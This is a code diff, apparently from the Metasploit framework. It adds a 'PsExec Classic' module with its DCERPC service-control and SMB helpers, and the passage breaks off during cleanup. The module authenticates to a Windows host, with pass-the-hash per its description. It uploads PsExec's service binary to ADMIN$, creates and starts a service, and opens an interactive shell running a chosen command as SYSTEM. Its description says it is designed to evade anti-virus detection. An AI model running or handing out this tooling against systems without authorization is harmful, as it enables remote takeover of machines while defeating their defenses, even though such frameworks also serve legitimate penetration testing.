diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index b658a9193df5f..dcdb2a45f63ca 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -4,6 +4,7 @@ require 'msf/core/exploit/dcerpc_epm' require 'msf/core/exploit/dcerpc_mgmt' require 'msf/core/exploit/dcerpc_lsa' +require 'msf/core/exploit/dcerpc_services' module Msf @@ -32,6 +33,7 @@ module Exploit::Remote::DCERPC include Exploit::Remote::DCERPC_EPM include Exploit::Remote::DCERPC_MGMT include Exploit::Remote::DCERPC_LSA + include Exploit::Remote::DCERPC_SERVICES def initialize(info = {}) super diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb new file mode 100644 index 0000000000000..a6088dcd948b8 --- /dev/null +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -0,0 +1,245 @@ +# -*- coding: binary -*- +module Msf + +### +# This module implements MSRPC functions that control creating, deleting, +# starting, stopping, and querying system services. +### +module Exploit::Remote::DCERPC_SERVICES + + NDR = Rex::Encoder::NDR + + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [String] the handle to the service control manager. + def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + scm_handle = dcerpc.last_response.stub_data[0,20] + scm_status = dcerpc.last_response.stub_data[20,4] + end + + if scm_status.to_i != 0 + scm_handle = nil + end + return scm_handle + end + + + # Calls CreateServiceW() to create a system service. Returns a handle to + # the service on success, or nil. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] a hash containing the following keys and values: + # access [Fixnum] the access level (default is maximum). + # type [Fixnum] the type of service (default is interactive, + # own process). + # start [Fixnum] the start options (default is on demand). + # errors [Fixnum] the error options (default is ignore). + # load_order_group [Fixnum] the load order group. + # dependencies [Fixnum] the dependencies of the service. + # service_start [Fixnum] + # password1 [Fixnum] + # password2 [Fixnum] + # password3 [Fixnum] + # password4 [Fixnum] + # + # @return [String] a handle to the created service. + def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => 0x0F01FF, # Maximum access. + :type => 0x00000110, # Interactive, own process. + :start => 0x00000003, # Start on demand. + :errors => 0x00000000,# Ignore errors. + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + svc_handle = dcerpc.last_response.stub_data[4,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls CloseHandle() to close a handle. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param handle [String] the handle to close. + # + # @return [Boolean] true if the handle was successfully closed, or false if + # not. + def dce_closehandle(dcerpc, handle) + ret = false + response = dcerpc.call(0x0, handle) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[20,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start + # it. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to start (from + # dce_openservicew()). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Boolean] true if the service was successfully started, false if + # it was not. + def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) + ret = false + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Stops a running service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to stop (from + # dce_openservicew()). + # + # @return [Boolean] true if the service was successfully stopped, false if + # it was not. + def dce_stopservice(dcerpc, svc_handle) + return dce_controlservice(dcerpc, svc_handle, 1) + end + + # Controls an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to control + # (from dce_openservicew()). + # @param operation [Fixnum] the operation number to perform (1 = stop + # service; others are unknown). + # + # @return [Boolean] true if the operation was successful, false if it was + # not. + def dce_controlservice(dcerpc, svc_handle, operation) + ret = false + response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[28,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls DeleteService() to delete a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to delete (from + # dce_openservicew()). + # + # @return [Boolean] true if the service was successfully deleted, false if + # it was not. + def dce_deleteservice(dcerpc, svc_handle) + ret = false + response = dcerpc.call(0x02, svc_handle) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to query (from + # dce_openservicew()). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned + # that isn't implemented), 1 if the service is running, and + # 2 if the service is stopped. + def dce_queryservice(dcerpc, svc_handle) + ret = 0 + response = dcerpc.call(0x06, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + return ret + end + +end +end diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb new file mode 100644 index 0000000000000..ac23a63e5250a --- /dev/null +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- +require 'digest' + +module Msf + +#### +# This allows one to extract PSEXESVC.EXE from Microsoft Sysinternal's +# PsExec.exe. +#### +module Exploit::Remote::SMB::PsexecSvc + + # Returns the bytes for PSEXESVC.EXE and the version of PsExec in use on + # success, or nil on error. + # + # @param psexec_path [String] the local filesystem path to PsExec.exe + # @param verbose [Boolean] true if verbosity is desired, false if otherwise. + # + # @return [String],[Float] the bytes corresponding to PSEXESVC.EXE, and + # the version of PsExec in use, respectively. + def extract_psexesvc(psexec_path, verbose = false) + read_offset = 0 + bytes_to_read = 0 + psexec_version = nil + if verbose + print_status("Calculating SHA-256 hash of #{psexec_path}...") + end + hash = Digest::SHA256.file(psexec_path).hexdigest + # The read offset and size of the PSEXESVC.EXE binary for v1.98 is + # 193,288 and 181,064, respectively. + if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + psexec_version = 1.98 + read_offset = 193288 + bytes_to_read = 181064 + # For v2.0... + elsif hash == '3c26ef3208a8bf6c2a23d46ef15c238197f528c04877db0bac2a090d15ec53b2' + psexec_version = 2.0 + read_offset = 194312 + bytes_to_read = 185160 + elsif hash == '2a9c136176bbd1204b534933ee0880eaf747ed659b36d7eb13bd6aa77d35dd02' + psexec_version = 2.1 + read_offset = 198408 + bytes_to_read = 189792 + elsif hash == '3b08535b4add194f5661e1131c8e81af373ca322cf669674cf1272095e5cab95' + psexec_version = 2.11 + read_offset = 198408 + bytes_to_read = 189792 + else + if verbose + print_error("Hash is not correct! One of the following is expected:\n" + + " * f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\n" + + " * 3c26ef3208a8bf6c2a23d46ef15c238197f528c04877db0bac2a090d15ec53b2\n" + + " * 2a9c136176bbd1204b534933ee0880eaf747ed659b36d7eb13bd6aa77d35dd02\n" + + " * 3b08535b4add194f5661e1131c8e81af373ca322cf669674cf1272095e5cab95\n" + + "Actual: #{hash}\nEnsure that you have PsExec v1.98, v2.0, v2.1, or v2.11.") + end + return nil + end + + if verbose + print_status("File hash verified. PsExec v#{psexec_version} detected. Extracting PSEXESVC.EXE code from #{psexec_path}...") + end + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(psexec_path, 'rb') + hPsExec.seek(read_offset) + psexesvc = hPsExec.read(bytes_to_read) + hPsExec.close + + return psexesvc, psexec_version + end + +end +end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 6007f16c8ba1a..97d87358d5049 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -148,6 +148,7 @@ def smb_defaults(packet) packet.v['TreeID'] = self.last_tree_id.to_i packet.v['UserID'] = self.auth_user_id.to_i packet.v['ProcessID'] = self.process_id.to_i + self.multiplex_id = (self.multiplex_id + 16) % 65536 end # Receive a full SMB reply and cache the parsed packet @@ -1336,6 +1337,42 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) end + # Used by auxiliary/admin/smb/psexec_classic.rb to send ANDX writes with + # greater precision. + def write_raw(args) + + pkt = CONST::SMB_WRITE_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = args[:flags1] + pkt['Payload']['SMB'].v['Flags2'] = args[:flags2] + + pkt['Payload']['SMB'].v['WordCount'] = args[:wordcount] + + pkt['Payload'].v['AndX'] = args[:andx_command] + pkt['Payload'].v['AndXOffset'] = args[:andx_offset] + pkt['Payload'].v['FileID'] = args[:file_id] + pkt['Payload'].v['Offset'] = args[:offset] + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = args[:write_mode] + pkt['Payload'].v['Remaining'] = args[:remaining] + pkt['Payload'].v['DataLenHigh'] = args[:data_len_high] + pkt['Payload'].v['DataLenLow'] = args[:data_len_low] + pkt['Payload'].v['DataOffset'] = args[:data_offset] + pkt['Payload'].v['HighOffset'] = args[:high_offset] + pkt['Payload'].v['ByteCount'] = args[:byte_count] + + pkt['Payload'].v['Payload'] = args[:data] + + ret = self.smb_send(pkt.to_s) + return ret if not args[:do_recv] + + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + return ack + end + + # Reads data from an open file handle def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb new file mode 100644 index 0000000000000..045bfa056ba61 --- /dev/null +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -0,0 +1,833 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/exceptions' +require 'msf/core/exploit/smb/psexec_svc' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::PsexecSvc + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PsExec Classic', + 'Description' => %q{ + This module mimics the classic PsExec tool from Microsoft SysInternals. + Anti-virus software has recently rendered the commonly-used + exploit/windows/smb/psexec module much less useful because the uploaded + executable stub is usually detected and deleted before it can be used. This + module sends the same code to the target as the authentic PsExec (which + happens to have a digital signature from Microsoft), thus anti-virus software + cannot distinguish the difference. AV cannot block it without also blocking + the authentic version. Of course, this module also supports pass-the-hash, + which the authentic PsExec does not. You must provide a local path to the + authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE + service code can be extracted and uploaded to the target. The specified + command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => [ + 'Joe Testa ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options([ + OptPath.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) + end + + def run + psexec_path = datastore['PSEXEC_PATH'] + command = datastore['COMMAND'] + + psexesvc,psexec_version = extract_psexesvc(psexec_path, true) + + print_status("Connecting to #{datastore['RHOST']}...") + unless connect + fail_with(Failure::Unreachable, 'Failed to connect.') + end + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if (not simple.client.auth_user) + fail_with(Failure::NoAccess, 'Server granted only Guest privileges.') + end + + print_status('Uploading PSEXESVC.EXE...') + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this + # fails, attempt to continue since it might already exist from + # a previous run. + begin + fd = smb_open('\\PSEXESVC.EXE', 'rwct') + fd << psexesvc + fd.close + print_status('Created \PSEXESVC.EXE in ADMIN$ share.') + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this + # case means that the file was already there from a + # previous invocation... + if e.error_code == 0xC0000043 + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attempting to continue...') + else + print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') + end + end + psexesvc = nil + + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Connecting to IPC$...') + simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + print_status("Binding to DCERPC handle #{handle}...") + dcerpc_bind(handle) + print_status("Successfully bound to #{handle} ...") + + begin + # Get a handle to the service control manager. + print_status('Obtaining a service control manager handle...') + scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) + if scm_handle == nil + fail_with(Failure::Unknown, 'Failed to obtain handle to service control manager.') + end + + # Create the service. + print_status('Creating a new service (PSEXECSVC - "PsExec")...') + begin + svc_handle = dce_createservicew(dcerpc, + scm_handle, + 'PSEXESVC', # Service name + 'PsExec', # Display name + '%SystemRoot%\PSEXESVC.EXE', # Binary path + {:type => 0x00000010}) # Type: Own process + if svc_handle == nil + fail_with(Failure::Unknown, 'Error while creating new service.') + end + + # Close the handle to the service. + unless dce_closehandle(dcerpc, svc_handle) + print_error('Failed to close service handle.') + # If this fails, we can still continue... + end + + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to + # continue anyway. + end + + # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, + # this will obtain a handle to it regardless. + print_status('Opening service...') + svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') + if svc_handle == nil + fail_with(Failure::Unknown, 'Failed to open service.') + end + + # Start the service. + print_status('Starting the service...') + unless dce_startservice(dcerpc, svc_handle) + fail_with(Failure::Unknown, 'Failed to start the service.') + end + + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + fail_with(Failure::Unknown, "#{e}\n#{e.backtrace.join("\n")}") + end + + # The pipe to connect to varies based on the version. + psexesvc_pipe_name = nil + if psexec_version == 1.98 + psexesvc_pipe_name = 'psexecsvc' + elsif psexec_version >= 2.0 + psexesvc_pipe_name = 'PSEXESVC' + else + fail_with(Failure::Unknown, "Internal error. A PsExec version of #{psexec_version} is not valid!") + end + + # Open a pipe to the right service. + print_status("Connecting to \\#{psexesvc_pipe_name} pipe...") + psexecsvc_proc = simple.create_pipe("\\#{psexesvc_pipe_name}") + smbclient = simple.client + + cipher_encrypt = nil + cipher_decrypt = nil + encrypted_stream = false + aes_key = nil + # Newer versions of PsExec need to set up (unauthenticated) encryption. + if psexec_version == 2.1 or psexec_version == 2.11 + encrypted_stream = true + + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xC8) + NDR.long(0x0A280105) + NDR.long(0x01)) + + # v2.1 and later introduced encryption to the protocol. Amusingly, there + # is no authentication done on the key exchange, so its only useful + # against passive eavesdroppers. + + # Read 4 bytes, which correspond to the length of the PUBLICKEYBLOB + # that will be returned next (we assume it will always be 148, otherwise + # the code would require restructuring in ways that are unknown at this + # time). + smbclient.read(psexecsvc_proc.file_id, 0, 4) + + # This is the PUBLICKEYSTRUC containing the header information and + # 1,024-bit RSA key. + blob = smbclient.read(psexecsvc_proc.file_id, 0, 148)['Payload'].v['Payload'] + + rsa_public_key = load_rsa_public_key(blob) + if rsa_public_key == nil + print_error "Error while loading RSA key." + # TODO: do some sort of cleanup. + return + end + + # Create Cipher objects for encryption and decryption. Generate a + # random 256-bit session key. + cipher_encrypt = OpenSSL::Cipher::AES.new(256, :CBC) + cipher_encrypt.encrypt + aes_key = cipher_encrypt.random_key + cipher_encrypt.iv = "\x00" * 16 + + cipher_decrypt = OpenSSL::Cipher::AES.new(256, :CBC) + cipher_decrypt.decrypt + cipher_decrypt.key = aes_key + cipher_decrypt.iv = "\x00" * 16 + + # Encrypt the symmetric key with the RSA key. + encrypted_key = rsa_encrypt(rsa_public_key, aes_key) + + # Tell the server that we will be sending 140 bytes in the next message. + smbclient.write(psexecsvc_proc.file_id, 0, "\x8c\x00\x00\x00") + + # This is the PUBLICKEYSTRUC header that preceeds the encrypted key. + publickeystruc = "\x01" + # b_type = SIMPLEBLOB + "\x02" + # b_version + "\x00\x00" + # reserved + "\x10\x66\x00\x00" + # ALG_ID = 0x6610 = + # ALG_CLASS_DATA_ENCRYPT| + # ALG_TYPE_BLOCK|ALG_SID_AES_256 + "\x00\xa4\x00\x00" # ALG_ID = 0xa400 = + # ALG_CLASS_KEY_EXCHANGE| + # ALG_TYPE_RSA|ALG_SIG_ANY + + # Write the RSA-encrypted AES key. + smbclient.write(psexecsvc_proc.file_id, 0, publickeystruc + encrypted_key) + + else # Older versions only need a simple ping to wake up. + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + end + + # Make up a random hostname and local PID to send to the + # service. It will create named pipes for stdin/out/err based + # on these. + random_hostname = Rex::Text.rand_text_alpha(12) + random_client_pid_low = rand(255) + random_client_pid_high = rand(255) + random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s + + print_status("Instructing service to execute #{command}...") + + + # In the first message, we tell the service our made-up + # hostname and PID, and tell it what program to execute. + data1 = aes("\x58\x4a\x00\x00" << random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))), cipher_encrypt) + + # In the next three messages, we just send lots of zero bytes... + data2 = aes("\x00" * 4290, cipher_encrypt) + data3 = aes("\x00" * 4290, cipher_encrypt) + data4 = aes("\x00" * 4290, cipher_encrypt) + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + data5 = aes(("\x00" * 793) << "\x01" << + ("\x00" * 14) << "\xff\xff\xff\xff" << + ("\x00" * 1048) << "\x01" << ("\x00" * 11), cipher_encrypt) + + # If the stream is encrypted, we must first send the length of the + # entire ciphertext. + data_len_packed = "\x58\x4a" + remaining = 19032 + if encrypted_stream then + ciphertext_length = data1.length + data2.length + data3.length + data4.length + data5.length + remaining = ciphertext_length + + data_len_packed = [ciphertext_length].pack('v') + smbclient.write(psexecsvc_proc.file_id, 0, [remaining].pack('V')) + end + + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + offset = 0 + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => offset, + :write_mode => 0x000c, + :remaining => remaining, + :data_len_high => 0, + :data_len_low => data1.length + 2, + :data_offset => 64, + :high_offset => 0, + :byte_count => data1.length + 3, + :data => "\xee" << data_len_packed << data1, + :do_recv => true}) + offset += data1.length + + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => offset, + :write_mode => 0x0004, + :remaining => remaining, + :data_len_high => 0, + :data_len_low => data2.length, + :data_offset => 64, + :high_offset => 0, + :byte_count => data2.length + 1, + :data => "\xee" << data2, + :do_recv => true}) + + offset += data2.length + + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => offset, + :write_mode => 0x0004, + :remaining => remaining, + :data_len_high => 0, + :data_len_low => data3.length, + :data_offset => 64, + :high_offset => 0, + :byte_count => data3.length + 1, + :data => "\xee" << data3, + :do_recv => true}) + + offset += data3.length + + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => offset, + :write_mode => 0x0004, + :remaining => remaining, + :data_len_high => 0, + :data_len_low => data4.length, + :data_offset => 64, + :high_offset => 0, + :byte_count => data4.length + 1, + :data => "\xee" << data4, + :do_recv => true}) + + offset += data4.length + + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => offset, + :write_mode => 0x0004, + :remaining => remaining, + :data_len_high => 0, + :data_len_low => data5.length, + :data_offset => 64, + :high_offset => 0, + :byte_count => data5.length + 1, + :data => "\xee" << data5, + :do_recv => true}) + + + # Connect to the named pipes that correspond to stdin, stdout, + # and stderr. + psexecsvc_proc_stdin = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stdin") + psexecsvc_proc_stdout = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stdout") + psexecsvc_proc_stderr = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stderr") + + # Read 1024 bytes at a time if the stream is not encrypted. Otherwise, + # we need to read the length packet first (which is always a 4-byte + # DWORD), followed by a second packet with the data. + read_len_stdout = read_len_stderr = 1024 + if encrypted_stream then + read_len_stdout = read_len_stderr = 4 + + # Each message is not chained to any previous one. + cipher_encrypt.reset + end + + # Read from stdout and stderr. We need to record the multiplex + # IDs so that when we get a response, we know which it belongs + # to. Trial & error showed that the service DOES NOT like it + # when you repeatedly try to read from a pipe when it hasn't + # returned from the last call. Hence, we use these IDs to know + # when to call read again. + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, read_len_stdout, false) + + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, read_len_stderr, false) + + # Loop to read responses from the server and process commands + # from the user. + socket = smbclient.socket + rds = [socket, $stdin] + wds = [] + eds = [] + last_char = nil + data = nil + begin + while true + r,w,e = ::IO.select(rds, wds, eds, 1.0) + + # If we have data from the socket to read... + if (r != nil) and (r.include? socket) + + # Read the SMB packet. + data = smbclient.smb_recv + smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct + smbpacket.from_s(data) + + # If this is a response to our read + # command... + if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX + parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) + + # Check to see if this is a STATUS_PIPE_DISCONNECTED + # (0xc00000b0) message, which tells us that the remote program + # has terminated. + if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 + print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." + # Read in another SMB packet, since program termination + # causes both the stdout and stderr pipes to issue a + # disconnect message. + smbclient.smb_recv rescue nil + + # Break out of the while loop so we can clean up. + break + end + + # Determine if this response came from stdout or stderr based on the multiplex ID. + stdout_response = stderr_response = false + received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] + if received_multiplex_id == stdout_multiplex_id + stdout_response = true + elsif received_multiplex_id == stderr_multiplex_id + stderr_response = true + end + + # Extract the length for what the server's next packet payload + # will be (note that we need to cut off the single padding byte + # prepended using [1..-1]). + # + # We fall into this block, too, if the payload length is 4, since + # this happens when our previous read to stderr unexpectedly + # returns with data. + payload = parsed_smbpacket['Payload'].v['Payload'][1..-1] + if encrypted_stream + # If we previously requested to read 4 bytes from a stream, parse the response, then we can issue + # a second read request with the size of the data that's waiting for us. + if stdout_response and (read_len_stdout == 4) + read_len_stdout = payload.unpack('V')[0] + elsif stderr_response && (read_len_stderr == 4) + read_len_stderr = payload.unpack('V')[0] + else + # Decrypt the payload and print it. + print aes(payload, cipher_decrypt) + + # Each block read from the server is encrypted separately from + # all previous blocks. Hence, the ciphertexts aren't chained + # together. + cipher_decrypt.reset + + # Issue a read command of length 4 to get the size of the next + # ciphertext. + stdout_response ? read_len_stdout = 4 : read_len_stderr = 4 + end + # Older versions of PsExec don't encrypt anything... + else + print payload + end + + # Issue another read request on whatever pipe just returned data. + if stdout_response + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, read_len_stdout, false) + elsif stderr_response + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, read_len_stderr, false) + end + end + end + + # If the user entered some input. + if r and r.include? $stdin + + # There's actually an entire line of text available, but the + # standard PsExec.exe client sends one byte at a time, so we'll + # duplicate this behavior. + data = $stdin.read_nonblock(1) + + # The remote program expects CRLF line endings, but in Linux, we + # only get LF line endings... + if data == "\x0a" and last_char != "\x0d" + + # If the stream is encrypted, we need to send the length of the + # encrypted message first, separately. + cr = "\x0d" + if encrypted_stream then + cr = aes(cr, cipher_encrypt) + cipher_encrypt.reset + smbclient.write(psexecsvc_proc_stdin.file_id, 0, [cr.length].pack('V')) + end + + # Now we write the carriage return (either in plaintext or in + # ciphertext). + smbclient.write_raw({:file_id => psexecsvc_proc_stdin.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 0, + :write_mode => 0x0008, + :remaining => cr.length, + :data_len_high => 0, + :data_len_low => cr.length, + :data_offset => 64, + :high_offset => 0, + :byte_count => cr.length + 1, + :data => "\xee" << cr, + :do_recv => true}) + end # end CRLF check + + # If the stream is encrypted, encrypt the data, then send a separate message + # telling the server what the length of the next ciphertext is. + original_data = data + if encrypted_stream then + data = aes(data, cipher_encrypt) + cipher_encrypt.reset + smbclient.write(psexecsvc_proc_stdin.file_id, 0, [data.length].pack('V')) + end + + smbclient.write_raw({:file_id => psexecsvc_proc_stdin.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 0, + :write_mode => 0x0008, + :remaining => data.length, + :data_len_high => 0, + :data_len_low => data.length, + :data_offset => 64, + :high_offset => 0, + :byte_count => data.length + 1, + :data => "\xee" << data, + :do_recv => true}) + + last_char = original_data + end + end + rescue Rex::Proto::SMB::Exceptions::InvalidType => e + print_error("Error: #{e}") + print_status('Attempting to terminate gracefully...') + end + + + # Time to clean up. Close the handles to stdin, stdout, + # stderr, as well as the handle to the \psexecsvc pipe. + smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil + 